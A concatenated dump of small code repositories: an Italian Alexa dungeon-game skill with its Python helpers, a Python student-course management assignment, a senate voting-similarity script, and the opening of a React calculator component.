endFarm = datetime.strptime(player.get('farm').get('end'),'%Y-%m-%d %H:%M:%S.%f')
if now > endFarm:
if player.get('farm').get('rewarded'):
if hours:
equip = player.get('equip')
msg = ready_up_farming(session_attributes,equip,player,hours)
else:
session_attributes.update({'state':'hours_farm'})
msg = 'Quante ore vuoi ricercare?'
else:
session_attributes.update({'state':'rewardRequest'})
msg = 'Prima di cominciare un altra ricerca, devi prima aprire il bottino della ricerca precedente. Vuoi aprirlo?'
else:
ETA = endFarm - now
mins = round(ETA.seconds / 60)
msg = 'Hai già una ricerca attiva. Finisce tra '+hour_to_minute(mins/60)+'.'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_info_craft_choice_response(intent,session):
card_title = "Craft Info"
session_attributes = session.get('attributes')
craft_choice = intent['slots']['craft_choice']['resolutions']['resolutionsPerAuthority'][0]['values'][0]['value']['id']
if session_attributes.get('started') and session_attributes.get('state') == 'info_craft_choice':
session_attributes.update({'state':'home'})
msg = info_craft_reply('tools',int(craft_choice))
else:
msg = 'Un giorno potrò darti le informazioni che cerchi, ma non è questo il giorno'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_info_market_choice_response(intent,session):
card_title = "Negozio Info"
session_attributes = session.get('attributes')
market_choice = intent['slots']['market_choice']['resolutions']['resolutionsPerAuthority'][0]['values'][0]['value']['id']
if session_attributes.get('started') and session_attributes.get('state') == 'info_market_choice':
session_attributes.update({'state':'home'})
if market_choice == '0':
msg = info_market_reply(sell=False)
elif market_choice == '1':
msg = info_market_reply(sell=True)
else:
msg = 'Non penso di aver capito cosa hai detto.'
else:
msg = 'Un giorno potrò darti le informazioni che cerchi, ma non è questo il giorno'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_info_response(intent,session,info_request=None):
card_title = "Info"
session_attributes = session.get('attributes')
info_type_id = intent['slots']['info_type']['resolutions']['resolutionsPerAuthority'][0]['values'][0]['value']['id']
if session_attributes.get('started'):
if info_type_id == '0' or info_request == 'personaggio':
player = session_attributes.get('player')
msg = info_pg_reply(player)
elif info_type_id == '1' or info_request == 'negozio':
session_attributes.update({'state':'info_market_choice'})
msg = 'Vuoi informazioni su comprare o vendere?'
elif info_type_id == '2' or info_request == 'incudine':
session_attributes.update({'state':'info_craft_choice'})
msg = craft_list()
else:
msg = 'Non penso di aver capito cosa hai detto.'
else:
msg = 'Per questa richiesta devi iniziare il gioco!'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_name_player_response(intent,session):
card_title = '<NAME>'
session_attributes = session.get('attributes')
nome = intent['slots']['player_name']['value']
if session_attributes.get('started'):
msg = 'So già il tuo nome!'
else:
msg = 'Il tuo nome è '+nome+', ho capito bene?'
session_attributes.update({'state':'player_name','name':nome})
speech_output = msg
reprompt_text = 'Forse non mi hai sentito. '+msg
should_end_session = False
return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session))
def get_no_response(session):
card_title = 'No'
session_attributes = session.get('attributes')
if session_attributes.get('state') == 'player_name':
msg = 'Sembra ci sia qualche interferenza, qual è il tuo nome?'
session_attributes.update({'state':'player_name_NO'})
elif session_attributes.get('state') == 'start_farm':
msg = 'Va bene, torna quando sarai pronto!'
session_attributes.update({'state':'home'})
elif session_attributes.get('state') == 'rewardRequest':
session_attributes.update({'state':'home'})
msg = 'Va bene, torna quando vorrai aprirlo!'
else:
msg = 'Non dovresti essere qui!'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session))
def get_yes_response(session):
card_title = 'Yes'
session_attributes = session.get('attributes')
if session_attributes.get('state') == 'player_name':
nome = session_attributes.get('name')
id_session = session_attributes.get('sessionID')
materiali = {'legno':0,'pietra':0,'ferro':0,'diamante':0,'runa':0}
equip = {'pickaxe':0,'sword':8,'bag':[0,8],'uses':[0,0]}
items = {'vigor':0,'cuore':0}
player = {'userId': id_session,'name':nome,'HP_max':1000,'HP':1000,'level':1,'farm_exp':0,'battle_exp':0,'gold':0,'stamina_max':2000,'stamina':2000,'materials':materiali,'items':items,'equip':equip,'farm':{'end':'0001-01-01 00:00:00.0','hours':2,'pickaxe':0,'rewarded':True},'battle':'0001-01-01 00:00:00.0'}
database.put_item(Item=player)
session_attributes.update({'started':True,'state':'home','player':player})
msg = nome+'! Benvenuto nel Dungeon, ora sei a tutti gli effetti un giocatore!'
elif session_attributes.get('state') == 'start_farm':
player = session_attributes.get('player')
pickaxe = player.get('equip').get('pickaxe')
hours = session_attributes.get('hours_farm')
endFarm = datetime.now() + timedelta(hours=hours)
session_attributes.get('player').get('farm').update({'end':str(endFarm),'hours':hours,'pickaxe':pickaxe,'rewarded':False})
session_attributes.update({'state':'home'})
update_player_stats_to_DB(player)
msg = 'La ricerca è inziata! Finirà tra '+hour_to_minute(hours)+'!'
elif session_attributes.get('state') == 'rewardRequest':
player = session_attributes.get('player')
equip = player.get('equip')
farming = player.get('farm')
# Farm settings
base_materials,base_bonus = materials_for_farm()
hour = farming.get('hours')
tool = tool_for_farm(farming.get('pickaxe'))
farm_exp = player.get('farm_exp')
stamina = player.get('stamina')
# FARM
time,times,farm_result = farm(base_materials,base_bonus,hour,tool,farm_exp)
# Update materials
player_materials = player.get('materials')
player_materials.update(dict([(k,v+farm_result[k.capitalize()]) for k,v in player_materials.items()]))
# Update stamina
player.update({'stamina':player.get('stamina')-time})
# Update pickaxe uses
if equip.get('uses')[equip.get('bag').index(farming.get('pickaxe'))] != 0:
equip.get('uses')[equip.get('bag').index(farming.get('pickaxe'))] -= time
# Final updates
farming.update({'rewarded':True})
session_attributes.update({'state':'home'})
update_player_stats_to_DB(player)
msg = farm_reward_reply(times,hour,farm_result)
elif session_attributes.get('state') == 'use_items':
if session_attributes.get('item') == 'vigor':
player = session_attributes.get('player')
n_vigor = player.get('items').get('vigor')
if n_vigor > 0:
player.get('items').update({'vigor':n_vigor-1})
player.update({'stamina':player.get('stamina_max')})
session_attributes.update({'state':'home'})
msg = 'Slurp. Ora la tua stamina è al massimo!'
else:
# session -> market buy
msg = 'Mi sa che qui ti devo mandare al market'
elif session_attributes.get('item') == 'cuore':
player = session_attributes.get('player')
n_cuore = player.get('items').get('cuore')
if n_cuore > 0:
player.get('items').update({'cuore':n_cuore-1})
player.update({'HP':player.get('HP_max')})
session_attributes.update({'state':'home'})
msg = 'Yay. Ora la tua vita è al massimo!'
else:
# session -> market buy
msg = 'Mi sa che qui ti devo mandare al market'
else:
session_attributes.update({'state':'home'})
msg = 'Ancora non ho inventato questo oggetto'
else:
msg = 'Non dovresti essere qui!'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session))
def get_welcome_response(session):
card_title = 'Benvenuto'
sessionID = session['user']['userId']
session_attributes = {'sessionID': sessionID}
# connecting to database
response = database.get_item(Key={'userId': sessionID})
# grab info if exists
if 'Item' in response:
msg = 'Ciao '+response['Item']['name']+', ben tornato!'
session_attributes.update({'started':True,'player':response.get('Item')})
# new player
else:
msg = 'Ciao nuovo giocatore, come ti chiami?'
session_attributes.update({'started':False})
speech_output = msg
reprompt_text = "Benvenuto, se non sai cosa fare, chiedi aiuto!"
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_help_response():
session_attributes = {}
card_title = "Aiuto"
speech_output = "Ciao, sono il Master Supremo, sono qui per aiutarti! Le azioni che puoi fare sono: cominciare la ricerca, andare in battaglia, visitare il negozio, e costruire equipaggiamento. Ricorda che puoi anche chiedere tutte le informazioni su personaggio, negozio, costruzione, attrezzi, e armi. Se vuoi tutte le informazioni sul gioco, e le richieste possibili, visita il sito indicato sulla pagina di Amazon della skill."
reprompt_text = ''
should_end_session = False
return build_response(session_attributes, build_speechlet_response(
card_title, speech_output, reprompt_text, should_end_session))
def handle_session_end_request(session):
card_title = "Fine"
player = session.get('attributes').get('player')
update_player_stats_to_DB(player)
speech_output = "Addio!"
should_end_session = True
return build_response({}, build_speechlet_response(
card_title, speech_output, None, should_end_session))
# --------------- Events ------------------
def on_session_started(session_started_request, session):
pass
def on_launch(launch_request, session):
return get_welcome_response(session)
def on_intent(intent_request, session):
intent = intent_request['intent']
intent_name = intent_request['intent']['name']
if intent_name == "info":
return get_info_response(intent,session)
elif intent_name == 'farm':
return get_farm_response(intent,session)
elif intent_name == 'hours_farm':
return get_hours_farm_response(intent,session)
elif intent_name == 'farmReward':
return get_farm_reward_response(session)
elif intent_name == 'market':
return get_market_response(intent,session)
elif intent_name == 'marketInfoChoice':
return get_info_market_choice_response(intent,session)
elif intent_name == 'craftInfoChoice':
return get_info_craft_choice_response(intent,session)
elif intent_name == "namePlayer":
return get_name_player_response(intent,session)
elif intent_name == "yesChoice":
return get_yes_response(session)
elif intent_name == "noChoice":
return get_no_response(session)
elif intent_name == "AMAZON.HelpIntent":
return get_help_response()
elif intent_name == "AMAZON.CancelIntent" or intent_name == "AMAZON.StopIntent":
return handle_session_end_request(session)
else:
raise ValueError("Invalid intent") # Aggiungere cose quando non capisce
def on_session_ended(session_ended_request, session):
print("on_session_ended requestId=" + session_ended_request['requestId'] +
", sessionId=" + session['sessionId'])
# --------------- Main handler ------------------
def lambda_handler(event, context):
# if (event['session']['application']['applicationId'] !=
# "amzn1.echo-sdk-ams.app.[unique-value-here]"):
# raise ValueError("Invalid Application ID")
if event['session']['new']:
on_session_started({'requestId': event['request']['requestId']},event['session'])
if event['request']['type'] == "LaunchRequest":
return on_launch(event['request'], event['session'])
elif event['request']['type'] == "IntentRequest":
return on_intent(event['request'], event['session'])
elif event['request']['type'] == "SessionEndedRequest":
return on_session_ended(event['request'], event['session'])
<file_sep>
import csv
import math
import random
csv_path = 'data/'
def toClass(s):
if s == 'int': return int
elif s == 'float': return float
elif s == 'str': return str
elif s == 'bool': return bool
def read_csv(file_name):
with open(file_name) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
header = next(csv_reader, None)
types = [toClass(t) for t in next(csv_reader, None)]
return [[t(r) if t != bool else t(int(r)) for r,t in zip(row,types)] for row in csv_reader]
def get_name(what,id_stuff):
if what == 'tools': return read_csv(csv_path+what+'.csv')[id_stuff][3:4][0]
elif what == 'materials': return read_csv(csv_path+what+'.csv')[id_stuff][1:2][0]
elif what == 'items': return read_csv(csv_path+what+'.csv')[id_stuff][1:2][0]
def get_material_id(material_name):
for i,n,_,_ in read_csv(csv_path+'materials.csv'):
if n.lower() == material_name.lower():
return i
def get_tool_id(tool_name):
for i,_,_,n,_,_,_,_,_,_,_ in read_csv(csv_path+'tools.csv'):
if n.lower() == tool_name.lower():
return i
def info_pg_reply(player):
msg = player.get('name')+' sei al livello '+str(int(player.get('level')))+'! '
msg += 'Hai '+str(int(player.get('HP')))+' di vita e '+str(int(player.get('stamina')))+' di stamina. '
msg += 'Possiedi '+str(int(player.get('gold')))+' monete d\'oro. '
msg += 'Hai un\'esperienza in battaglia di '+str(int(player.get('battle_exp')))+'; e, in raccolta '+str(int(player.get('farm_exp')))+'.'
return msg
def info_market_reply(sell=True):
items = [(i,n,g) for (i,n,g,b) in read_csv(csv_path+'market.csv') if b == sell]
if sell:
items_name = [(get_name(n,i),g) for (i,n,g) in items]
msg = 'Puoi vendere questi oggetti in cambio di monete d\'oro. '+'; '.join( [n+' per '+str(g) for (n,g) in items_name] )
else:
items_name = [(get_name(n,i),g) for (i,n,g) in items]
msg = 'Puoi comprare questi oggetti in cambio di monete d\'oro. '+'; '.join( [n+' per '+str(g) for (n,g) in items_name] )
return msg
def craft_list():
items = [get_name(w,i) for (i,w,l,p,f,d,r) in read_csv(csv_path+'craft.csv')]
return 'Puoi creare '+' e '.join( [', '.join(items[:-1]),items[-1]] )+'. Di quale vuoi informazioni?'
def info_craft_reply(what,id_tool):
item = [[l,p,f,d,r] for (i,n,l,p,f,d,r) in read_csv(csv_path+'craft.csv') if i == id_tool][0]
mats = [str(q)+' di '+get_name('materials',i) for i,q in enumerate(item) if q > 0]
return 'Puoi costruire '+get_name(what,id_tool)+' con '+' e '.join([', '.join(mats[:-1]),mats[-1]])
def max_hours_farm(hours,equip,stamina):
pickaxe = equip.get('pickaxe')
velocity = [v for (i,_,_,_,_,_,_,v,_,_,_) in read_csv(csv_path+'tools.csv') if i == pickaxe][0]
dfu_times = round( hours * 3600000 / velocity )
stamina_times = stamina
durability = equip.get('uses')[equip.get('bag').index(pickaxe)]
durability_times = max(stamina_times,dfu_times) if durability == 0 else durability
min_times = min((dfu_times,'dfu'),(durability_times,'pickaxe'),(stamina_times,'stamina'))
hour_times = round(min_times[0] * velocity / 3600000,5)
return min_times[1],int(min_times[0]),hour_times
def hour_to_minute(hours):
m,h = math.modf(hours)
h = round(h)
m = round(m*60)
if h == 0: h_msg = ''
elif h == 1: h_msg = '1 ora'
elif h > 1: h_msg = str(h)+' ore'
if h != 0 and m != 0: i = ' e '
else: i = ' '
if m == 0: m_msg = ''
elif m == 1: m_msg = '1 minuto'
elif m > 1: m_msg = str(m)+' minuti'
return h_msg+i+m_msg
def materials_for_farm():
return [(n,p) for (i,n,p,b) in read_csv(csv_path+'materials.csv') if not b],[(None,0.995)] + [(n,p) for (i,n,p,b) in read_csv(csv_path+'materials.csv') if b]
def tool_for_farm(id_tool):
return list([(n,v,q,(l,p)) if l != '0' else (n,v,q,None) for (i,_,_,n,_,_,_,v,q,l,p) in read_csv(csv_path+'tools.csv') if i == id_tool][0])
def build_quantity(farm_exp):
s = math.floor(farm_exp / 100)
q = s + 5
a = [(1/2**x) + (1/2**q)/q for x in range(1,q+1)]
return list(reversed(a[:s+1])) + a[s+1:]
def build_luck(base,luck):
if not luck or luck == '0': return base
for i in range(len(base)):
if luck[0] == base[i][0]:
break
s = sum([v for n,v in base[:i]])
w = [(n,v/s) for n,v in base[:i]]
diff = [v*luck[1] for _,v in w]
cha = [(b[0],b[1]-d) for d,b in zip(diff,base)]
cha.append( (luck[0],luck[1]+base[i][1]) )
if base[i+1:]: cha = cha + base[i+1:]
return cha
def farm(materials,bonus,hour,tool,experience):
velocity = tool[1]
quantity = build_quantity(experience+tool[2])
materials = build_luck(materials,tool[3])
# times
time = round( hour * 3600000 / velocity )
times = sum( [x+1 for x in random.choices(range(len(quantity)),weights=quantity,k=time)] )
# farm
farm = random.choices(range(len(materials)),weights=[p for _,p in materials],k=times)
result_farm = [(materials[x][0],farm.count(x)) for x in range(len(materials))]
# bonus
farm_bonus = random.choices(range(len(bonus)),weights=[p for _,p in bonus],k=times)
result_bonus = [(bonus[x][0],farm_bonus.count(x)) for x in range(1,len(bonus))]
result = dict(set(result_farm))
result.update(dict(set(result_bonus)))
return time,times,result
def farm_reward_reply(times,hours,result):
ordered_result = sorted(result.items(), key=lambda kv: kv[1], reverse=True)
non_zero_items = [(k,v) for (k,v) in ordered_result if v != 0]
msg = 'La ricerca è durata '+hour_to_minute(hours)+'; per un totale di '+str(times)+' materiali trovati. '
msg += 'Hai trovato '+'; '.join( [str(v)+' di '+k for (k,v) in non_zero_items])+'.'
return msg
def sell_materials(material,quantity):
return quantity*read_csv(csv_path+'market.csv')[get_material_id(material)][2:3][0]
|
b3ce36df5ccbd023dc216bf6f270b0e888a0a777
|
[
"Python"
] | 2 |
Python
|
Mortafix/dungeon
|
af13c265bf5558ba9dea35a9d4f5870a7730f39d
|
3fb299af93ebe88645a5c026783f059f02297c5b
|
refs/heads/master
|
<repo_name>alinpreda2694/Foundations-of-Business-Data-Analytics-Architectures-Statistics-and-Programming<file_sep>/README.md
# Foundations-of-Business-Data-Analytics-Architectures-Statistics-and-Programming
This repository contains Jupyter Notebooks and Py files containing the mandatory assignment projects neccesary for the Foundations of Business Data Analytics, Arcchitectures, Statistics and Programming course.
<file_sep>/FO MA 02.py
class DiplomaProgramme(object):
"""
Takes in students, courses and teachers as input.
Should be able to show an overview of the student's situation.
Can add, remove and write students, courses and teachers.
"""
diplomaProgramme_no = 0
def __init__(self, diplomaName, courses = None, teachers = None, students = None):
self.diplomaName = diplomaName
if courses is None:
self.courses = []
else:
self.courses = courses
if teachers is None:
self.teachers = []
else:
self.teachers = teachers
if students is None:
self.students = []
else:
self.students = students
def __str__(self):
return "Diploma programme: " + str(self.diplomaName)
def add_course(self, course):
if course not in self.courses:
self.courses.append(course)
def remove_course(self, course):
if course in self.courses:
self.courses.remove(course)
Course.course_no -= 1
def print_courses(self):
self.courses.sort()
print '\n The diploma programme ' + str(self.diplomaName) + ' is offering following courses:\n'
for course in sorted(self.courses):
print('--> ' + str(course.courseName))
def add_teacher(self, teacher):
if teacher not in self.teachers:
self.teachers.append(teacher)
def remove_teacher(self, teacher):
if teacher in self.teacher:
self.teacher.remove(teacher)
Teacher.teacher_no -= 1
def print_teachers(self):
print "\n The diploma programme " + str(self.diplomaName) + "'s faculty is made up of the following theachers:\n"
for teacher in self.teachers:
print('--> ' + teacher.fullName)
def add_student(self, student):
if student not in self.students:
self.students.append(student)
def remove_student(self, student):
if student in self.students:
self.students.remove(student)
Student.student_no -= 1
def print_students(self):
print '\n The diploma programme ' + str(self.diplomaName) + ' has enrolled the following students:\n'
for student in self.students:
print('--> ' + str(student.fullName))
def overview(self):
for student in self.students:
student.graduated()
def count_overview(self):
graduated_counter = 0
not_graduated_counter = 0
for student in self.students:
if student.graduated() == True:
graduated_counter += 1
elif student.graduated() == False:
not_graduated_counter += 1
print "\nGraduated students: " + str(graduated_counter) + "/" + str(Student.student_no)
print "Students not graduating: " + str(not_graduated_counter) + "/" + str(Student.student_no) + '\n'
def distinction_overview(self):
distinction_counter = 0
print('\n')
for student in self.students:
if student.distinction() == True:
print('--> ' + str(student.fullName) + ' has obtained a distinction.')
distinction_counter += 1
if distinction_counter == 0:
print('No students with distinction.')
class Course(object):
course_no = 0
"""
Input: name, teachers.
Should be abe to do: add/remove/print teachers.
"""
def __init__(self, courseName, teachers = None):
self.courseName = courseName
if teachers is None:
self.teachers = []
else:
self.teachers = teachers
Course.course_no += 1
def __str__(self):
return "Course: " + str(self.courseName)
def set_courseName(self, name):
self.courseName = name
def get_courseName(self):
return self.courseName
def add_teacher(self, teacher):
if teacher not in self.teachers:
self.teachers.append(teacher)
def remove_teacher(self, teacher):
if teacher in self.teacher:
self.teacher.remove(teacher)
def print_teachers(self):
print '\n ' + self.get_courseName() + ' is taught by:\n'
for teacher in self.teachers:
print('--> ' + teacher.fullName)
class Person(object):
"""
Should serve as a super-class for Teacher and Student.
"""
def __init__(self, firstName, lastName):
self.firstName = firstName
self.lastName = lastName
def __str__(self):
return "Person: " + str(self.firstName) + " " + str(self.lastName)
def get_firstName(self):
return self.firstName
def get_lastName(self):
return self.lastName
def set_firstName(self, new_firstName):
self.firstName = new_firstName
def set_lastName(self, new_lastName):
self.lastName = new_lastName
@property
def fullName(self):
return '{} {}'.format(self.firstName, self.lastName)
def set_fullName(self, name):
firstName, lastName = name.split(' ')
self.firstName = firstName
self.lastName = lastName
def get_fullName(self):
return self.fullName
def delete_fullName(self):
self.fullName = None
self.firstName = None
self.lastName = None
class Teacher(Person):
"""
Input: first name, last name, courses taught.
Should be able to: add/remove/print courses.
"""
teacher_no = 0
def __init__(self, firstName, lastName, courses = None):
Person.__init__(self, firstName, lastName)
if courses is None:
self.courses = []
else:
self.courses = [courses]
Teacher.teacher_no += 1
def add_course(self, course):
if course not in self.courses:
self.courses.append(course)
def remove_course(self, course):
if course in self.courses:
self.courses.remove(course)
def print_courses(self):
self.courses.sort()
print '\n ' + str(self.firstName) + ' teaches the following courses:\n'
for course in sorted(self.courses):
print('--> ' + str(course.courseName))
class Student(Person):
"""
Should return name of student, programme, courses (dictionary keys), grades
(values = number of assignments completed/ course), distinction (true or false).
Should be able to add/substract/change courses and their values.
"""
student_no = 0 # We might to count the number of students enrolled in our program.
def __init__(self, firstName, lastName, courses = None, grades = None, passed_failed = None):
Person.__init__(self, firstName, lastName)
if courses is None:
self.courses = []
else:
self.courses = courses
if grades is None:
self.grades = {}
else:
self.grades = {grades}
Student.student_no += 1
if passed_failed is None:
self.passed_failed = {}
else:
self.passed_failed = {passed_failed}
def __str__(self):
return "Student: " + str(self.firstName) + " " + str(self.lastName)
def add_course(self, course):
if course not in self.courses:
self.courses.append(course)
def remove_course(self, course):
if course in self.courses:
self.courses.remove(course)
def print_courses(self):
self.courses.sort()
print '\n ' + str(self.firstName) + ' is enrolled in the following courses:\n'
for course in sorted(self.courses):
print('--> ' + str(course.courseName))
def set_grade(self, course, assignments_completed):
if (assignments_completed >= 0) and (assignments_completed <= 5):
self.grades[course] = assignments_completed
else:
print('Error: The number of mandatory assignments completed must be between 0 and 5.')
def increase_grade(self, course):
if course in self.grades:
if self.grades[course] < 5:
self.grades[course] += 1
else:
print('Error: The student ' + str(self.fullName) + ' has already completed all 5 mandatory assignments for the course ' + str(course) + '.')
def decrease_grade(self, course):
if course in self.grades:
if self.grades[course] > 0:
self.grades[course] -= 1
else:
print('Error: The student ' + str(self.fullName) + ' can not have a negative grade on his mandatory assignments for course ' + str(course) + '.')
def print_grades(self):
print '\n ' + str(self.firstName) + ' has completed the following number of assignments for each course:\n'
for grade in sorted(self.grades.keys()):
print('--> ' + str(grade) + ': ' + str(self.grades[grade]))
def set_passed_failed(self):
for course in self.grades:
if self.grades[course] < 3:
self.passed_failed[course] = 'Failed'
else:
self.passed_failed[course] = 'Passed'
def print_passed_failed(self):
print '\n ' + str(self.firstName) + ' has passed or failed the following courses:\n'
for course in sorted(self.passed_failed.keys()):
print('--> ' + str(course) + ': ' + str(self.passed_failed[course]))
def graduated(self):
graduated = True
for grade in self.passed_failed.values():
if grade == 'Failed':
graduated = False
break
if graduated == True:
return True
#print '\n ' + str(self.fullName) + ' has graduated the programme.'
else:
return False
#print '\n ' + str(self.fullName) + ' has not graduated the programme.'
def distinction(self):
distinction = False
for grade in self.grades.values():
if grade == 5:
distinction = True
break
if (sum(self.grades.values()) >= 17) and distinction == True: # Perhaps we might want to extend this method. We can always have let's say 5 or more courses in a programme.
#print '\n' + str(self.fullName) + ' has earned a distinction diploma.'
return True
else:
return False
#print '\n' + str(self.fullName) + ' has not earned a distinction diploma.'
# <<<< COURSES >>>>>
course_names = ["Data Mining, Machine Learning and Deep Learning", "Foundations of Data Science", "Text Analytics", "Visual Analytics"]
c1 = Course(course_names[0])
c2 = Course(course_names[1])
c3 = Course(course_names[2])
c4 = Course(course_names[3])
courses = [c1, c2, c3, c4]
# <<<<< TEACHERS >>>>>
t1 = Teacher('John', 'Doe', c1)
t2 = Teacher('Christian', 'Sondegaard', c2)
t3 = Teacher('Peter', 'Bush', c3)
t4 = Teacher('Maria','Castro') # Not initialized with any course.
t5 = Teacher('Marius', 'Negoita', c1)
teachers = [t1, t2, t3, t4, t5]
t4.add_course(c4) # Another way of assigning a course.
# <<<<< STUDENTS >>>>>
s1 = Student('Alin', 'Preda', courses)
s2 = Student('Aristotelis', 'Stomapoulos', courses)
s3 = Student('Maria', 'Tureschi') # Not initialized with courses.
s3.add_course(courses) # Another way to add a student's courses.
students = [s1, s2, s3]
# <<<<<< ASSIGNING >>>>>>>>
c1.add_teacher(t1)
c1.add_teacher(t2)
c2.add_teacher(t2)
c3.add_teacher(t3)
c4.add_teacher(t4)
s1.set_grade(c1.courseName, 4)
s1.set_grade(c2.courseName, 4)
s1.set_grade(c3.courseName, 2)
s1.set_grade(c4.courseName, 5)
s2.set_grade('Data Mining, Machine Learning and Deep Learning', 4)
s2.set_grade(c2.courseName, 3)
s2.set_grade(c3.courseName, 4)
s2.set_grade('Visual Analytics', 4)
s3.set_grade(c1.courseName, 4)
s3.set_grade(c2.courseName, 4)
s3.set_grade(c3.courseName, 4)
s3.set_grade(c4.courseName, 4)
# <<<<<< PRINT METHODS >>>>>>>
s1.print_courses()
s1.set_passed_failed()
s1.print_passed_failed()
s1.print_grades()
print('\nHas Alin graduated?')
print(s1.graduated())
print('\nHas Alin obtained a distinction?')
print(s1.distinction())
s2.print_courses()
s2.print_grades()
s2.set_passed_failed()
s2.print_passed_failed()
print('\nHas Aris graduated?')
print(s2.graduated())
print('\nHas Aris obtained a distinction?')
print(s2.distinction())
s3.increase_grade(c1.courseName)
s3.decrease_grade('Visual Analytics')
s3.print_grades()
s3.set_passed_failed()
s3.print_passed_failed()
print('\nHas Maria graduated?')
print(s3.graduated())
# <<<<< DIPLOMA PROGRAMME >>>>
dp = DiplomaProgramme("Data Science", courses, teachers, students)
dp.print_teachers()
dp.print_courses()
dp.print_students()
dp.overview()
dp.count_overview()
dp.distinction_overview()
s4 = Student('Tommy', 'Ashad')
dp.add_student(s4)
dp.print_students()
print(Student.student_no)
dp.remove_student(s4)
dp.print_students()
t5 = Teacher('Mel', 'Gibson', c4)
dp.add_teacher(t5)
dp.print_teachers()
# print(t2.courses)
# t2.print_courses()
c5 = Course('Web scrapping')
t2.print_courses()
dp.add_course(c5)
dp.print_courses()
dp.remove_course(c5)
dp.print_courses()
print(Course.course_no)
<file_sep>/FO MA 04.py
f = open('/home/aleen/Downloads/voting_record_dump109-1.txt')
my_list = list(f)
f.close()
##### 1 #####
def create_voting_dict(str_list):
"""Returns a disctionary that maps the last name of a senator to a list of votes."""
voting_dict = {}
for str in str_list:
votes_list = []
s = str.replace('\n','')
for i in s.split(' ')[3:]:
x = int(i)
votes_list.append(x)
voting_dict[s.split(' ')[0]] = votes_list
return voting_dict
voting_dict = create_voting_dict(my_list)
##### 2 #####
def policy_compare(sen_a, sen_b, voting_dict):
"""Returns the dot product representing the degree of similarity between two senator's voting policies."""
dot_product = 0
for i in range(0, len(voting_dict[sen_a])):
dot_product += voting_dict[sen_a][i] * voting_dict[sen_b][i]
return dot_product
sen_a = "Akaka"
sen_b = "Kennedy"
print(policy_compare(sen_a, sen_b, voting_dict))
##### 3 #####
def most_similar(sen, voting_dict):
"""Returns the name of the senator whose political mindset is most like the input senator, excluding, of course, the input senator"""
max = 0
#del voting_dict[sen]
for comp_sen in voting_dict.keys():
if comp_sen != sen:
dot_product = policy_compare(sen, comp_sen, voting_dict)
if dot_product > max:
max = dot_product
most_similar = comp_sen
return most_similar + ' is the most similar to ' + sen + ' with a degree of ' + str(max) + '.'
print(most_similar("Akaka", voting_dict))
print(most_similar("Alexander", voting_dict))
print(most_similar("Sununu", voting_dict))
print('\n')
##### 4 #####
def least_similar(sen, voting_dict):
"""Returns the name of the senator whose voting record agrees the least with the input senator sen's political views."""
min = 9999
#del voting_dict[sen]
for comp_sen in voting_dict.keys():
if comp_sen != sen:
dot_product = policy_compare(sen, comp_sen, voting_dict)
if dot_product < min:
min = dot_product
most_similar = comp_sen
return most_similar + ' is the least similar to ' + sen + ' with a degree of ' + str(min) + '.'
print(least_similar("Akaka", voting_dict))
print(least_similar("Kennedy", voting_dict))
print(least_similar("Sununu", voting_dict))
##### 5: OBAMA #####
print('\n')
print(most_similar("Obama", voting_dict))
print(least_similar("Obama", voting_dict))
##### 6 #####
print('\n')
sen_set = ["McCain", "Gregg", "Salazar", "Biden", "Clinton"]
def find_average_similarity(sen, sen_set, voting_dict):
"""Given the name of a senator, compares his/her voting record to the voting records of all senators whose names are in sen_set, computing
a dot product for each, and then returns the average dot product. """
sum = 0
for s in sen_set:
sum += policy_compare(sen, s, voting_dict)
avg = sum / len(sen_set)
return avg
print(find_average_similarity("Obama", sen_set, voting_dict))
print(find_average_similarity("Kennedy", sen_set, voting_dict))
#############################################
#############################################
#############################################
a = [1,2,3,4]
b = [5,6,7,8]
def dot_product(a,b):
dot_product = 0
for i in range(0,len(a)):
dot_product += a[i] * b[i]
return dot_product
print(dot_product(a,b))
print(dot_product(b,a))
#############################################
#############################################
#############################################
print('\n')
A = [[1,2,3],[4,5,6],[7,8,9]]
B = [[8,4,7],[12,14,6],[1,2,1]]
c = [7,19,4]
def vector_scalar_multiplication(num,vector):
result_vector = []
for i in range(0, len(vector)):
result_vector.append(num * vector[i])
return result_vector
vector_scalar_multiplication(2,c)
def vector_addition(v1,v2):
result_vector = []
for i in range(0,len(v1)):
result_vector.append(v1[i] + v2[i])
return result_vector
vector_addition(c,[1,2,3])
# def vector_matrix_product(vector,matrix):
# resulting_matrix = []
# resulting_vector = []
# temp = []
# if len(vector) == len(matrix):
# for i in range(0,len(vector)):
# resulting_matrix.append(vector_scalar_multiplication(vector[i], matrix[i]))
# else:
# print("Error. Illegal matrix operation.")
# for i in range(0,len(matrix[0])):
# resulting_vector.append
# for i in range(0,len(resulting_matrix)-1):
# temp.append(vector_addition(resulting_matrix[i], resulting_matrix[i+1]))
# return resulting_vector
# print(vector_matrix_product(c,A))
# print(vector_matrix_product([3,4],[[1,2,3],[10,20,30]]))
|
b3e945dc0e10432f092f9d9dc32581ce80c8fba6
|
[
"Markdown",
"Python"
] | 3 |
Markdown
|
alinpreda2694/Foundations-of-Business-Data-Analytics-Architectures-Statistics-and-Programming
|
e948c31a7be2f77801392cd428f468aad1656144
|
fc25ca9e03cee596335206f4581d3014828f1b42
|
refs/heads/master
|
<repo_name>zchristy/React-UI-Components<file_sep>/Project-II-Calculator/calculator/src/App.js
import React, { Component } from 'react';
import './App.css';
import Display from './components/DisplayComponents/CalculatorDisplay'
import NumberButton from './components/ButtonComponents/NumberButton'
import ActionButton from './components/ButtonComponents/ActionButton'
class App extends Component {
static defaultProps = {
numbers: [
{
text: 'Clear',
buttonStyle: 'clear'
},
{
text: '<',
